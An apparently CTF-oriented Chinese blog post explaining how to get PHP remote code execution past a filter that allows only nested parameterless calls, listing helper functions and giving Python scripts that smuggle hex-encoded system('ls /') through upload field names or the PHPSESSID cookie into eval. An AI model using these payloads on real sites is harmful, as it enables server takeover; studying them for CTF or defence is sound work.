RCE
本文最后更新于 622 天前,其中的信息可能已经有所发展或是发生改变。

发现

某天做题,发现了一个没看懂的正则表达式

[^\W]+\((?R)?\)

新知识

为什么无参数

https://www.php.net/manual/zh/regexp.reference.recursive.php

把(?R)挖掉得到这个正则,这个正则可以匹配类似这样的字符串:phpinfo() 但是括号里面有一个递归模式,可以理解成可以递归:

phpinfo(phpinfo(phpinfo()))

只允许执行类似:

a(b(c()))

不允许执行:

a(‘123’)

(?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d()))

无参数函数

end() – 将内部指针指向数组中的最后一个元素,并输出。
next() – 将内部指针指向数组中的下一个元素,并输出。
prev() – 将内部指针指向数组中的上一个元素,并输出。
reset() – 将内部指针指向数组中的第一个元素,并输出。
each() – 返回当前元素的键名和键值,并将内部指针向前移动。
readfile() – 读取文件
getcwd() – 获取当前目录
localeconv() – 当前目录
scandir() – 目录遍历
dirname() – 获取上层目录的名字(类似向上级目录移动
chdir() – 修改当前目录位置
array_flip() – 交换 键 和 值 的内容
array_rand() – 随机返回一个 键,可配合 array_flip() 爆破出数组的值
array_reverse() – 反向数组
show_source 和 highlight_flie – 读文件

常见的三种方法

gettallheaders()

get_defined_vars()

session_id()

  • getallheaders()
    • 但是只能在 apache2 的环境,我们可以在 header 中加入恶意命令

var_dump(pos(getallheaders()));

  • getenv()
    • 可以获取当前的环境变量,配合 array_rand(array_flip()) 爆破
  • get_defined_vars()
    • 局限性小于 getallheaders(),可以获取 $_GET $_POST $_COOKIE $_FILE 但一般网站喜欢对 $_GET $_POST $_COOKIE 进行过滤,可以操作 $_FILE

import requests
from io import BytesIO

payload = "system('ls /');".encode('hex')
print payload
files = {
    payload: BytesIO('test')
}
print files
r = requests.post('http://xxx:xxx/?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)

print r.content
  • session_id()
    • 修改 COOKIE 中 PHPSESSION 的值,(测试的时候用不了
import requests
url = 'http://xxx:xx/?code=eval(hex2bin(session_id(session_start())));'
payload = "system('ls /');".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content
  • 直接读取文件
    • getcwd() – 获取当前目录
    • scandir() – 目录遍历
    • dirname() – 获取上层目录的名字(类似向上级目录移
    • chdir() – 修改当前目录位置
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇